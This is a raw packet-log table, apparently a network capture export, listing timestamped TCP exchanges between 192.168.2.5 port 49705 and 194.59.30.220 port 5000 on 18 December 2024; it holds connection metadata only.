Dec 18, 2024 11:40:28.944811106 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.944907904 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.944947004 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.945732117 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.945838928 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.946667910 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.946794033 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.946836948 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.946837902 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.947645903 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.947763920 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.947807074 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.948657036 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.948817015 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.949043989 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.949640989 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.949708939 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.950684071 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.950808048 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.950853109 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.950853109 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.951668024 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.951750040 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.951793909 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.952662945 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.952847958 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.952888012 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.953792095 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.953984022 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.954034090 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.954601049 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.954725981 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.954797983 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.955775023 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.955991030 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.956034899 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.956638098 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.956810951 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.957432032 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.957773924 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.957928896 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.958062887 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.958728075 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.958863020 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.959106922 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.959765911 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.959930897 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.959985971 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.960659027 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.960724115 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.960764885 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.961713076 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.961811066 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.961949110 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.962528944 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.962646008 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.962688923 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.963557959 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.963665962 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.963721037 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.964621067 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.964725018 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.964855909 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.965496063 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.965697050 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.965737104 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.966624975 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.966799021 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.966898918 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.967485905 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.967612982 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.967869043 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.968489885 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.968621016 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.968664885 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.969475985 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.969679117 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.970475912 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.970573902 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.970616102 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.970616102 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.971484900 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.971577883 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.971626043 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.972587109 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.972763062 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.972846031 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.973596096 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.973717928 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.973822117 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.974591017 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.974817991 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.975047112 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.975593090 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.019270897 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.114052057 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.114125013 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.114233971 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.114454031 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.114514112 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.114559889 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.115225077 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.115336895 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.115484953 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.116257906 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.116354942 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.116398096 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.117376089 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.117418051 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.117480993 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.118244886 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.118315935 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.118355989 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.119268894 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.119369984 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.119442940 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.120563030 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.120668888 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.120712996 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.121402979 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.121520996 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.121584892 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.122195959 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.122287989 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.122369051 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.123217106 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.123277903 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.123334885 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.124241114 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.124283075 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.124325037 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.125133038 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.125274897 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.125351906 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.126236916 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.126271009 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.126322031 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.127127886 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.127213955 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.127254009 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.128135920 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.128197908 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.128253937 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.129105091 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.129321098 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.129362106 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.130350113 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.130415916 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.130461931 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.131223917 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.131292105 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.131366014 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.132110119 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.132224083 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.132318974 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.133203030 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.133310080 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.133413076 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.134072065 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.134232044 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.134274960 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.135102034 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.135358095 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.135407925 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.136226892 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.136315107 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.136369944 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.137285948 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.137443066 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.137479067 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.138416052 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.138485909 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.138529062 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.139508963 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.139635086 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.139698982 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.140616894 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.140808105 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.140888929 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.141705990 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.141861916 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.141910076 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.142637014 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.142733097 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.142812014 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.143496990 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.143604994 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.143676043 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.144517899 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.144701958 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.144742966 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.145498037 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.145613909 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.145682096 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.146580935 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.146773100 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.146816969 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.147727966 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.148920059 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.148967028 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.149122000 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.149189949 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.149230003 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.150135994 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.150213003 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.150262117 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.151340008 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.151432037 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.151520014 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.152343035 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.152436018 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.152483940 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.153168917 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.153289080 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.153372049 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.154242039 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.154349089 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.154388905 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.155172110 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.155308962 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.155388117 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.156147957 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.156272888 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.156373978 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.157010078 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.157139063 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.157216072 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.157974958 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.158134937 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.158328056 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.158796072 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.158911943 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.158996105 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.159653902 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.159744978 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.159786940 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.160543919 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.160674095 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.160715103 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.161803007 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.161921978 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.161995888 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.162775040 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.162918091 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.162967920 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.163541079 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.163688898 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.163744926 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.164412975 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.164546013 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.164598942 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.165334940 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.165508032 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.165549994 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.166083097 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.207586050 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.305039883 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.305111885 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.305171013 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.305357933 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.305496931 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.305542946 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.306318998 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.306426048 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.306466103 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.307252884 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.307342052 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.307391882 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.307981968 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.308118105 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.308161020 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.308969975 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.309020042 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.309071064 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.310000896 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.310095072 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.310220003 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.310945988 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.311002016 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.311047077 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.311943054 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.312180996 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.312289000 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.312930107 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.313052893 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.313100100 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.313934088 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.314058065 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.314104080 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.314964056 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.315079927 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.315323114 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.324347973 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.324439049 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.324455976 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.324490070 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.324506044 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.324522018 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.324537992 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.324620962 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.324620962 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.324685097 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.324740887 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.324755907 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.324770927 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.324780941 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.324815035 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.324830055 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.324851036 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.324857950 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.324857950 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.324875116 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.324896097 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.325104952 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.325119019 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.325134993 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.325141907 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.325275898 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.325416088 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.325432062 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.325551033 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.328141928 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.328202009 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.328217030 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.328303099 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.328331947 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.328349113 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.328365088 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.328399897 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.328399897 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.330833912 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.330888033 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.330904007 CET	5000	49705	194.59.30.220	192.168.2.5
